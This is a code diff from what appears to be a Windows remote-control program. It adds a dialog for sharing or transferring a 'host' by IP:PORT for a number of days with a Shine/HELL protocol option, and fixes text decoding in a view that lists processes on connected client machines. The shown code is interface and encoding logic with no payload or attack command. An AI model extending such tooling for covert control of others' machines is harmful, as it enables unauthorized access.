#include <algorithm>
CShareHostDlg::CShareHostDlg(CWnd* pParent /*=nullptr*/, BOOL bNeedDays /*=FALSE*/)
: CDialogLangEx(IDD_DIALOG_SHARE_HOST, pParent)
, m_bNeedDays(bNeedDays)
, m_bShine(TRUE)
{
}
CShareHostDlg::~CShareHostDlg()
{
}
void CShareHostDlg::Init(LPCTSTR caption, LPCTSTR prompt)
{
m_sCaption = caption;
m_sPrompt = prompt;
}
void CShareHostDlg::InitDays(LPCTSTR name, LPCTSTR defaultValue)
{
m_sDaysName = name;
m_sDays = defaultValue;
}
void CShareHostDlg::SetHistoryKey(LPCTSTR historyKey)
{
m_sHistoryKey = historyKey;
}
void CShareHostDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogLangEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT_SHARE_ADDRESS, m_ComboInput);
DDX_Control(pDX, IDC_STATIC_SHARE_DAYS, m_StaticDays);
DDX_Control(pDX, IDC_EDIT_SHARE_DAYS, m_EditDays);
DDX_Control(pDX, IDC_CHECK_USE_SHINE, m_CheckShine);
}
BEGIN_MESSAGE_MAP(CShareHostDlg, CDialogLangEx)
END_MESSAGE_MAP()
BOOL CShareHostDlg::OnInitDialog()
{
CDialogLangEx::OnInitDialog();
SetWindowText(m_sCaption);
SetDlgItemText(IDC_STATIC_SHARE_ADDRESS, m_sPrompt);
SetDlgItemText(IDC_CHECK_USE_SHINE, _TR("使用 Shine 协议(兼容 Go 服务端)"));
SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消"));
// 天数(仅转移主机显示)
m_StaticDays.SetWindowTextA(m_sDaysName);
m_StaticDays.ShowWindow(m_bNeedDays ? SW_SHOW : SW_HIDE);
m_EditDays.SetWindowTextA(m_sDays);
m_EditDays.ShowWindow(m_bNeedDays ? SW_SHOW : SW_HIDE);
// 默认勾选 Shine
m_CheckShine.SetCheck(m_bShine ? BST_CHECKED : BST_UNCHECKED);
LoadHistory();
m_ComboInput.SetWindowText(m_str);
return TRUE;
}
void CShareHostDlg::OnOK()
{
m_ComboInput.GetWindowText(m_str);
m_bShine = (m_CheckShine.GetCheck() == BST_CHECKED);
if (m_bNeedDays)
m_EditDays.GetWindowText(m_sDays);
SaveHistory();
CDialogLangEx::OnOK();
}
void CShareHostDlg::LoadHistory()
{
if (m_sHistoryKey.IsEmpty()) return;
std::string history = THIS_CFG.GetStr("history", m_sHistoryKey.GetString());
if (history.empty()) return;
auto items = StringToVector(history, '|');
for (size_t i = 0; i < items.size() && i < 16; i++) {
if (!items[i].empty()) {
m_ComboInput.AddString(items[i].c_str());
}
}
}
void CShareHostDlg::SaveHistory()
{
if (m_sHistoryKey.IsEmpty() || m_str.IsEmpty()) return;
std::string newValue = m_str.GetString();
if (newValue.find('|') != std::string::npos) return;
std::string history = THIS_CFG.GetStr("history", m_sHistoryKey.GetString());
auto items = StringToVector(history, '|');
items.erase(std::remove(items.begin(), items.end(), newValue), items.end());
items.erase(std::remove(items.begin(), items.end(), std::string("")), items.end());
items.insert(items.begin(), newValue);
if (items.size() > 16) {
items.resize(16);
}
std::string result;
for (size_t i = 0; i < items.size(); i++) {
if (i > 0) result += '|';
result += items[i];
}
THIS_CFG.SetStr("history", m_sHistoryKey.GetString(), result);
}
+45
View File
@@ -0,0 +1,45 @@
#pragma once
#include "resource.h"
#include "LangManager.h"
// 分享主机 / 转移主机 专用对话框(带 Shine/HELL 协议勾选)
class CShareHostDlg : public CDialogLangEx
{
public:
CShareHostDlg(CWnd* pParent = nullptr, BOOL bNeedDays = FALSE);
virtual ~CShareHostDlg();
enum { IDD = IDD_DIALOG_SHARE_HOST };
void Init(LPCTSTR caption, LPCTSTR prompt);
void InitDays(LPCTSTR name, LPCTSTR defaultValue); // 仅转移主机显示
void SetHistoryKey(LPCTSTR historyKey);
// 结果
CString m_str; // 地址 IP:PORT
CString m_sDays; // 天数(转移主机)
BOOL m_bShine; // TRUE=Shine(0), FALSE=HELL(1)
protected:
virtual void DoDataExchange(CDataExchange* pDX);
virtual BOOL OnInitDialog();
virtual void OnOK();
DECLARE_MESSAGE_MAP()
CString m_sCaption;
CString m_sPrompt;
CString m_sDaysName;
CString m_sHistoryKey;
BOOL m_bNeedDays;
CComboBox m_ComboInput;
CStatic m_StaticDays;
CEdit m_EditDays;
CButton m_CheckShine;
void LoadHistory();
void SaveHistory();
};
+28 -3
View File
@@ -232,6 +232,26 @@ void CSystemDlg::ShowWindowsList(void)
ApplySort(); // 应用记忆的排序偏好 ApplySort(); // 应用记忆的排序偏好
} }
// 按客户端编码 (936 或 UTF-8) 解码字节串,并用 LVM_SETITEMTEXTW 写入列表单元格,
// 绕开 ANSI→CP_ACP 回转(非中文 ACP 服务端上中文也能正常显示,与窗口管理同法)。
static void SetClientTextItem(CListCtrl& list, int iItem, int iSubItem, const char* sz, UINT cp)
{
std::wstring w;
if (sz && sz[0]) {
int wlen = MultiByteToWideChar(cp, 0, sz, -1, NULL, 0);
if (wlen > 1) {
w.resize(wlen - 1);
MultiByteToWideChar(cp, 0, sz, -1, &w[0], wlen);
}
}
LVITEMW lv = {};
lv.mask = LVIF_TEXT;
lv.iItem = iItem;
lv.iSubItem = iSubItem;
lv.pszText = w.empty() ? const_cast<LPWSTR>(L"") : &w[0];
::SendMessageW(list.GetSafeHwnd(), LVM_SETITEMTEXTW, (WPARAM)iItem, (LPARAM)&lv);
}
void CSystemDlg::ShowProcessList(void) void CSystemDlg::ShowProcessList(void)
{ {
// GetMyBuffer(1) 深拷贝数据,跳过 TOKEN 字节 // GetMyBuffer(1) 深拷贝数据,跳过 TOKEN 字节
@@ -248,6 +268,10 @@ void CSystemDlg::ShowProcessList(void)
const char *szProcessFullPath; const char *szProcessFullPath;
DWORD dwOffset = 0; DWORD dwOffset = 0;
CString str; CString str;
// 进程名/路径编码:Windows 客户端 A 接口生成,恒为 GBK/936;仅 LNX/MAC 为 UTF-8。
// 不能用 GetClientEncoding(它对新客户端返回 CP_UTF8,会把 GBK 进程名解成乱码)。
UINT cp = GetProcessListEncoding(m_ContextObject);
DeleteAllItems(); DeleteAllItems();
//遍历发送来的每一个字符别忘了他的数据结构啊 Id+进程名+0+完整名+0 //遍历发送来的每一个字符别忘了他的数据结构啊 Id+进程名+0+完整名+0
int i; int i;
@@ -258,10 +282,11 @@ void CSystemDlg::ShowProcessList(void)
szProcessFullPath = szExeFile + lstrlen(szExeFile) + 1; //完整名就是进程名之后的啦 szProcessFullPath = szExeFile + lstrlen(szExeFile) + 1; //完整名就是进程名之后的啦
//他的数据结构的构建很巧妙 //他的数据结构的构建很巧妙
m_ControlList.InsertItem(i, arr[0].c_str()); //将得到的数据加入到列表当中 m_ControlList.InsertItem(i, ""); // 占位,首列随后用 Unicode 写入
str.FormatL("%5u", *PID); str.FormatL("%5u", *PID);
m_ControlList.SetItemText(i, 1, str); m_ControlList.SetItemText(i, 1, str); // PID (ASCII)
m_ControlList.SetItemText(i, 2, szProcessFullPath); SetClientTextItem(m_ControlList, i, 0, arr[0].c_str(), cp); // 进程名(按客户端编码)
SetClientTextItem(m_ControlList, i, 2, szProcessFullPath, cp); // 程序路径(按客户端编码)
m_ControlList.SetItemText(i, 3, arr[1].empty() ? "N/A" : arr[1].c_str()); m_ControlList.SetItemText(i, 3, arr[1].empty() ? "N/A" : arr[1].c_str());
// ItemData 为进程ID;Data[3] 需与第 4 列"架构"一致,否则按架构排序拿到空串而无意义 // ItemData 为进程ID;Data[3] 需与第 4 列"架构"一致,否则按架构排序拿到空串而无意义
auto data = new ItemData{ *PID, {arr[0].c_str(), str, szProcessFullPath, arr[1].empty() ? "N/A" : arr[1].c_str()}, arr[1].c_str() }; auto data = new ItemData{ *PID, {arr[0].c_str(), str, szProcessFullPath, arr[1].empty() ? "N/A" : arr[1].c_str()}, arr[1].c_str() };
Loaded 100 of 152 files, more files were not shown because too many files have changed in this diff. Show more